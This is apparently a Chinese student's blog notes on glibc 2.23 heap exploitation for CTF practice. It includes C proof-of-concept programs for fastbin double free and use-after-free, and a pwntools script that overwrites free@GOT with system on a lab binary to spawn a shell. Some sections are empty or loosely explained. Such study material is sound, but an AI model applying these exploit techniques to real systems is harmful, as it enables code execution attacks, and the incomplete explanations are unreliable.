希望可以帮助到想要学习2.23的师傅们,之前学习glibc2.23的时候7resp4ss师傅给了我一个文档参考学习,并没有做完,出来打后续可能就就停滞了,现发出来

如何切换libc?

  • 下载glibc_all_in_one(百度自己搜索教程就完事了)安装完记得进去文件夹下载各个版本的glibc,下载的glibc会存在该目录的libs目录里。
  • 安装patchelf(安装教程同上)
  • 新建一个chlibc(切换libc)脚本,内容如下:

  • ​然后通过cp指令放到/usr/bin/里
  • 使用:
  • $ chlibc ~/desktop/glibc-all-in-one/libs/2.23-0ubuntu3_amd64 ./pwn_file
    第一个参数为glibc目录,第二个参数为elf文件使用完用ldd查看即可(注意!切换libc不成功说明文件正在被使用)

注意patchelf的安装

https://github.com/NixOS/patchelf./bootstrap.sh
./configure
make
make check
sudo make install

把这些代码都执行了,不然到时候找不到patchelf的地址

how_to_learn?

直接百度或者谷歌搜索,或者在安全客/看雪里找详细的文章看!注意,一定要结合glibc2.23源码!

queston

  • 我该怎么看对应版本的源码?

直接去清华源下载glibc对应版本的压缩包,然后解压就可以看了。

fast_bin_attack

1.double free

  • 适用条件:fastbin堆块释放后pre_size的位置依旧是1 fastbin在执行free的时候仅仅只验证了main_arena后面的那个chunk,其他的没有验证
  • 利用效果:可以实现任意地址的读写
  • 基本原理:在被free的chunk1启动之后,可以修改它的fd位置,而另一个它在fastbin中,从而可以在fastbin中加入bss_chunk
  • POC + 调试:
  • //gcc -g hollk4.c -o hollk4
    #include<stdio.h>

    typedef struct _chunk
    {
        long long pre_size;
        long long size;
        long long fd;
        long long bk;
    } CHUNK,*PCHUNK;

    CHUNK bss_chunk;

    int main(void)
    {
        void *chunk1,*chunk2,*chunk3;
        void *chunk_a,*chunk_b;

        bss_chunk.size=0x21;
        chunk1=malloc(0x10);
        chunk2=malloc(0x10);

        free(chunk1);
        free(chunk2);
        free(chunk1);

        chunk_a=malloc(0x10);
        *(long long *)chunk_a=&bss_chunk;
        malloc(0x10);
        malloc(0x10);
        chunk_b=malloc(0x10);
        printf("%p",chunk_b);
    return 0;
    }

执行完后,chunk_a就是chunk1,也是fastbin最后的chunk1,后面再加上bss_chunk

现在只有bss_chunk

2.use after free

就是double free的简化版(可以改free掉的chunk的内容)

  • 适用条件:应用程序调用free()释放内存时,如果内存块小于256kb,dlmalloc并不马上将内存块释放回内存
  • 利用效果:
  • 基本原理:
  • POC + 调试:
  • #include <stdio.h>
    #include <stdlib.h>
    typedef void (*func_ptr)(char *);
    void evil_fuc(char command[])
    {
    system(command);
    }
    void echo(char content[])
    {
    printf("%s",content);
    }
    int main()
    {
       func_ptr *p1=(func_ptr*)malloc(4*sizeof(int));
       printf("malloc addr: %p\n",p1);
       p1[3]=echo;
       p1[3]("hello world\n");
       free(p1); //在这里free了p1,但并未将p1置空,导致后续可以再使用p1指针
       p1[3]("hello again\n"); //p1指针未被置空,虽然free了,但仍可使用.
       func_ptr *p2=(func_ptr*)malloc(4*sizeof(int));//malloc在free一块内存后,再次申请同样大小的指针会把刚刚释放的内存分配出来.
       printf("malloc addr: %p\n",p2);
       printf("malloc addr: %p\n",p1);//p2与p1指针指向的内存为同一地址
       p2[3]=evil_fuc; //在这里将p1指针里面保存的echo函数指针覆盖成为了evil_func指针.
       p1[3]("/bin/sh");
       return 0;
    }

3.chunk extend

  • 适用条件:
    • chunk要在fastbin大小范围内
    • 可以进行堆布局(不知道是什么)
    • 可以溢出至少一个字节
  • 利用效果:就是和前面一样,任意写
  • 基本原理:就是通过改变size位,使前一个chunk覆盖后一个chunk,实现写入
  • POC + 调试:

extend 实例

先看下文件

看下ida

read函数第一个参数是content,第二个是size + 1(可以溢出一位)

这里我们可以利用off by one

这个位置存放的是chunk_content的地址,存在一次地址跳跃

我们可以把这里的地址改写为free.got,后面利用打印函数,就可以打印出来真实地址

接下来,content指针依旧是free got,然后我们修改content的内容,改为system函数的地址就行

from pwn import *
from LibcSearcher import*
context(os='linux', arch='amd64', log_level='debug')
sh = process('./heap_extend')
elf = ELF('./heap_extend')



def create(size, content):
  sh.recvuntil(":")
  sh.sendline("1")
  sh.recvuntil(":")
  sh.sendline(str(size))
  sh.recvuntil(":")
  sh.sendline(content)


def edit(idx, content):
  sh.recvuntil(":")
  sh.sendline("2")
  sh.recvuntil(":")
  sh.sendline(str(idx))
  sh.recvuntil(":")
  sh.sendline(content)


def show(idx):
  sh.recvuntil(":")
  sh.sendline("3")
  sh.recvuntil(":")
  sh.sendline(str(idx))


def delete(idx):
  sh.recvuntil(":")
  sh.sendline("4")
  sh.recvuntil(":")
  sh.sendline(str(idx))


create(0x18, "hollk")  
create(0x10, "hollk")  

edit(0, "/bin/sh\x00" + "a" * 0x10 + "\x41")

delete(1)

create(0x30, p64(0) * 3 + p64(0x21) + p64(0x30) + p64(elf.got['free']))  
show(1)
sh.recvuntil("Content : ")
data =sh.recvuntil("Done !")

free_addr = u64(data.split(b"\n")[0].ljust(8,b"\x00"))

libc = LibcSearcher("free",free_addr)

libcbase = free_addr - libc.dump('free')
system_addr = libcbase + libc.dump('system')

edit(1, p64(system_addr))

delete(0)
#gdb.attach(hollk)
sh.interactive()

xiaoheshang404

a student

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注